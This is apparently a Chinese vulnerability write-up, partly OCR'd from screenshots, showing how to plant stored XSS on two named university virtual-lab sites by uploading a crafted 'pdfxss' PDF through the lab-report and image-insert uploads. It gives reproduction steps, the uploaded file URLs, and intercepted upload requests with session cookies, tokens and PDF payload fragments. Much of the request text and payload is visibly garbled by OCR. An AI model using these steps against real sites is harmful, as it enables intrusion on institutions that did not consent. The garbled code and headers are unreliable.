
案例一https://xnfz.mdit.edu.cn/
(随便点个实验进来)
点实验报告的链接
[image: ]
登录会有临时用户，不用注册，点击本地文件
[image: ]
上传pdfxss

[image: ]
[image: ]
访问https://xnfz.mdit.edu.cn/vlab_files/2024/054/0775/p8he.pdf，
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案例二：https://gixf.zjnu.edu.cn/vlab/
第一处：实验报告，点接链接[image: ] 上传pdfxss
[image: ]
[image: ] 访问路径
[image: ]
第二处： 插入图片处，上传pdfxss.jpg
[image: ] 改后缀为pdf，获取路径
[image: ] 访问
[image: ]
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POST- /rich_editor/summernote/link/-HTTP/1.1
Host: -gixf.zjnu.edu.cn

Connection: -keep-alive

Cache-Control: - max-age=0

sec-ch-ua: - "Chromium”;v="122", - "Not (A:Brand";v="24", - "Google- Chrome";v="122"
sec-ch-ua-mobile: - 20
sec-ch-ua-platform: - "Windows"

Upgrade-Insecure-Requests: -1

origin:-https://gixf.zjnu.edu.cn

Content-Type: ‘multipart/form-data; - boundary=-- - -WebKitFormBoundaryN19XYJbKgeQWsRAG
User-Agent: -Mozilla/5.0- (Windows NT-10.0; ‘Win64; - x64) -AppleWebKit/537.36 (KHTML, - Like
Gecko) -Chrome/122.0.0.0-Safari/537.36

Accepts text/tal, application/xhtulexnl, application/xnlig-0.9, inage/vif, insge/vebp, inage/

apng,*/*;q=0.8,application/signed-exchange;
Sec-Fetch-Site: -same-origin

Sec-Fetch-Mode: -navigate

Sec-Fetch-User: - 21

Sec-Fetch-Dest: -document

Referer: -https://gixf.zjnu.edu.cn/rich_editor/summernote/link/form

Accept-Encoding: -gzip, - deflate, -br

Accept-Language: -zh-CN, zh;q=0.9

Cookie: - token.value=KN6NFCMAY57Q54KKVWKKNX217RE7LX4
user_session_id=ZjRi0TcyZTUtZWFiZi0@YzY2L ThhZWMtNGIiY2ZiMjBhMDUL;
nationalOpenAccount=7092434284986847; - themePre=blue; - __utma=1.1090471339.1708833763
1708833763.1708833763.1; - __utmb=1.0.10.1708833763; - __utmc=1; -__utmz=1.1708833763.1.1.
utmesr=gixf.zjnu.edu.cn|utmccn=(referral) |utmcmd=referral |utmcct=/vlab/gjxf. html
Content-Length 164323

- -WebKitFormBoundaryN19XYIbKgeQWsRAG
Content-Disposition: - form-data; -name="_csrf"
1204664011

- -WebKitFormBoundaryN19XYIbKgeQWsRAG
Content-Disposition: - form-data; -name="upload";
Content-Type: -application/pdf

filename

pdfxss.pdf"

{{unquote("%PDF-1.4\x0a%\xe2\xe3\xcf\xd3\xeal0-obj\xe@a<<\x@a/CreationDate
\x28D:20230312234436+08" 00" \x29\x0a/Creator

\x28\xfe\xff\x8f\xc5cw\x00P\x00D\x00F \x7f\x16\x8f\x91Vh\x00  \x007\x00. \x000\x00
\x003\x002\x004\x00. \x002\x29\x0a/ModDate - \x28D:20230312235423+08" 00" \x29\x0a/Producer
\x28PDF-XChange - Core-API - SDK - \\\x287.0.324.2\\\x29\x29\x0a>>\x0aendobj\x0a2 -0
obj\xea<<\x@a/Metadata 3@ R\x0a/Names-4-0 R\x0a/Pages-5 0 R\x0a/Type/
Catalog\x@a>>\x@aendobj\x@a3 @ obj\x@a<<\xea/Length-2983\x0a/Subtype /XML \x0a/Type -/
Metadata\x@a>>\x@astream\x0a<?xpacket -begin=\"\xef\xbb\xbf\"

Responses  hiips  /zbytes/ ><It /B
1 HTTP/1.1-200
2 server::-none
3 Date:-Sun,-25-Feb-2024-04:05:17 -GHT
4 Content-Type: - text/html;charset=UTF-8
5 Connection: -keep-alive
6  Vary:-Accept-Encoding
7 P3P::CP=CAO-PSA-OUR
8 vary:-oOrigin
9 Vary:-Access-Control-Request-Method
10 Vary:-Access-Control-Request-Headers
11 set-Cookie: -token.value=KWGNFCMAY57Q54KKVWKKNX217RE7LX4; - Path=/
12 X-Content-Type-Options: -nosniff
13 X-XSS-Protection:-1;-mode=block
14 Cache-Control:-no-cache, - no-store, - max-age=0, -must-revalidate
15 Pragma:-no-cache
16 Expires: @
17 X-Frame-Options: SAMEORIGIN
18  Content-Language:-zh-CN
19 X-Status:-200
20 X-Server-Addr:-127.0.0.1:8081
21 Access-Control-Allow-Private-Network: - true
22 X-Status:-200
23 X-Server-Addr:-10.1.67.150:80
24 Access-Control-Allow-Origin: -*
25  Access-Control-Allow-Methods: - GET, - POST, -OPTIONS
26 Access-Control-Allow-Private-Network: - true
27  Content-Length:-72
28
29 {"urls":["https://gixf.zjnu.edu.cn/vlab_files/2024/056/6725/3aghl.pdf"]}
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9%PDF-1.4\n%\xe2\xe3\xcf\xd3\n1 0 obj\n< <\n/CreationDate (D:20230312234436+08'00")\n/Creator

(\xfe\xfAAx8f\xc5cw\x00P\x00D\X00F\x7f\x16\x8f\x91Vh\x00 \x007\x00....
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Accept:-application/Jion, text/3avascript, %/ 4-0.01
Content-Type: -multipart/forn-data; boundary="---HebKitFormBoundary tAGGOMXXLoZPr.

sec-ch-u B
User-Agent: Mozi11/5.0  (Hindows ‘NT10.0; Win6; 'x64) -AppleHebKit/537.36 - (KHTHL, like.
Gecko) -Chrone/122.0.6.6 Safari/537..36

hitps: //gixt.jmu.edu. cn/viab/gixf htal

16 Accept Encoding: gaip, deflate, -br

17 Accept-Language: -zh-Cll thiq-0.9

18 Cookie: token. Value=KHGNFCHAYS7QSSKKVWKKNKZITRE7LXA;
user._session_id-ZJRIOTCYZTVEZNFAZ100Y V2L THRZUNENGIAY2ZAHTBHADUL;

19 Contemtotengen

2 WebKitFornsoundary tKASONXIoZPr
22 Content-Disposition: forn-data; name-"upload"; Filename-fpdfxss. pdf”
23 Content-Type: -inage/jpeg

25 {{unquote("KP0r -1.4\x0a%\xe2\xe N\xcF\xd3\x6a1 -0-ob \xeacc\xoa/Creationbate.
\x28D:20230312232436105 00" \x29\x0/Creator
\X2BxFe\xFF\XBF xS\ 00\ x0BD\XBOF \x7F x16\XBF\x91Vh\ 00  \x007\xB0. \xB00\ 06
\XB03\x00210041x00. \X802\x29\x0a) Modbate -\x28D: 20230312235423108 60" \x29\x6a/Producer-
\X28PDF -XChange: Core-APT- SDK-\\\x287..0.324.21\1x29\x29\x8a>>\x0aendob} 10320
003 \xBa¢< \x0a/Metadata:3-0-R\x0a/Nanes 4-0- R\x0a/ Pages 5-0-R\xoa/ Type /
Catalog\x8a»>1x8aendob \x8a3 8. 0b \xBa¢<\x8a/Length- 2083 \x8a/Subtype /XL \x0a/ Type/
Hetadata\xoa>>\xdastrean\xoac xpacket -begin

i about~\"\"\x02\x9\x09\ 09\ x09 L1 tip:/ /purl .org/de/elenents/1.1/
\"\XB2\X89\x09\¥09 \XOS KL Xnp=\"Etp: / /s -adobe . con/xap/L.0/m/

: con/xap/1.0/
“http: //ns. adobe. con/pdf/1.5/
>\x02\x09\x09\x09¢c  Format>appl ication/pdf</

Responses htps  72bytes/ EiL
1 e
3 serverinone
3 Date: sun, 25+ Feb 2024 04112147 T
4 content-Type: text/htaljcharset-uTF-g
5 comection: keep-alive
.
.
o

Vary: ‘Accept -Encoding
vary: -origin
Vary: Access-Control-Request-Nethod
16 Vary: Access-Control Request-Headers
11 Set-Cookie: -token. value-KUSHFCHAYSTQSAKKVIKIIIX2 1 RETLXA; -Path-/
12 x-Content-Type-options: ‘nosniff
1 x-xss-protection: 1; mode-block

1 £ no-cache, -no-store, ‘max-age=0, ‘must-revalidate
15 pragea:-no-cache

%

7 SarEoRIGIN

1 hecn

19

20 X-Server-Addr:-127.0.0.1:8081

21 Access-control-al low-Private-titwork: - true

2 xstatus: 200
21 x-Server-Addri10.1.67.150:80

2 Access Control Allow Origin: -*

25 Access-Control-Allou-athods: -GET, -POST, -OPTIONS
26 Access-Control-Allow-Private-Nietwork: -true

27 content-Length: 72

20 (urls”: (LSSgsi//gixF. zinu.cdu.cn/vlab files/2024/956/0732/3pact .5df"]}
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